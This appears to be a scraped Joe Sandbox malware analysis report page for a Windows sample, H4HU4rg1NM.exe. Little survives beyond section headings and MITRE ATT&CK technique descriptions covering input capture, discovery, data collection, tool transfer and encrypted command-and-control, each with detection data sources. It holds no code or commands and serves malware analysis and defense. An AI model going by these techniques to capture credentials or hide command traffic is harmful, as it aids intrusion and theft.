Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report H4HU4rg1NM.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Cryptography:

Compliance:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre